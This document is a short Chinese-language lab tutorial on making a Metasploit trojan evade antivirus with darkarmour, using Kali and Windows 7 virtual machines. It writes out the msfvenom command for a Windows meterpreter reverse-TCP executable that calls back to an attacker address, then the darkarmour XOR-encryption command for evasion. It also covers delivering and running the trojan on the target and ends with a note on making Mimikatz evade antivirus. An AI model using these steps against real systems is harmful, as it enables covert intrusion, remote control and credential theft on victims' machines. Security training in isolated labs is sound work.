使用虚拟机:kali,win7
木马免杀(利用darkarmour实现MSF的免杀)
先看攻击机和目标机是不是一个网段,不在一个网段,就更改kali主机的IP地址
我这里是同一个网段的IP地址
1.安装环境
需要C语言编译器
安装环境
apt-get install mingw-w64-tools mingw-w64-commmon g++-mingw-w64 gcc-mingw-w64 upx-ucl osslsigncode
先输入apt-get install mingw-w64-tools(如果权限不是root,需要在前面加sudo)
在这里我遇到了一个问题,有没有满足的依赖关系
遇到这种情况,直接下载就可以,可以两个一起下载,这个分开下载会出错
下载完成之后就可以再尝试apt-get install mingw-w64-tools,成功了,然后直接输入我们要下载的全部就可以了,记得要把mingw-w64-tools也加上,如果不加上会无法定位
2.生成木马文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.128 LPORT=4444 -f exe -o run.exe
Msfvenom:有大量的攻击载荷,而msfvenom就是用于快速创建我们需要的攻击载荷并生成指定平台运行的程序,实际上msfvenom就是攻击载荷(payloads)和编码器(encoders)的组合工具,他是独立于msf控制台(msfconsole)之外的,无法在控制台内直接调用.
-p:指定需要使用的payload(攻击载荷)
-o:保存文件
LHOST和LPORT是攻击机的ip地址和端口
3.Msf加载免杀
先将工具放到目录下,然后用unzip进行解压,把解压出来的文件放到生成的木马同一级目录下,然后运行命令
./darkarmour.py -f run.exe --encrypt xor --jump -o cxy.exe -loop 5
--encrypty xor:异或加密算法,利用xor进行加密
--jmp:使用基于jmp的PE加载器
--loop 5:加密等级
4.进入msf打开监听
将木马文件放入目标机中
5.点击运行文件
然后打开kali,看到进去了meterpreter模块中就可以了,尝试一些指令,没有问题就是成功了。
拓展:
Mimikatz的免杀
k:用于加密的密钥key,不设置就会默认随机生成
u:用upx打包可执行文件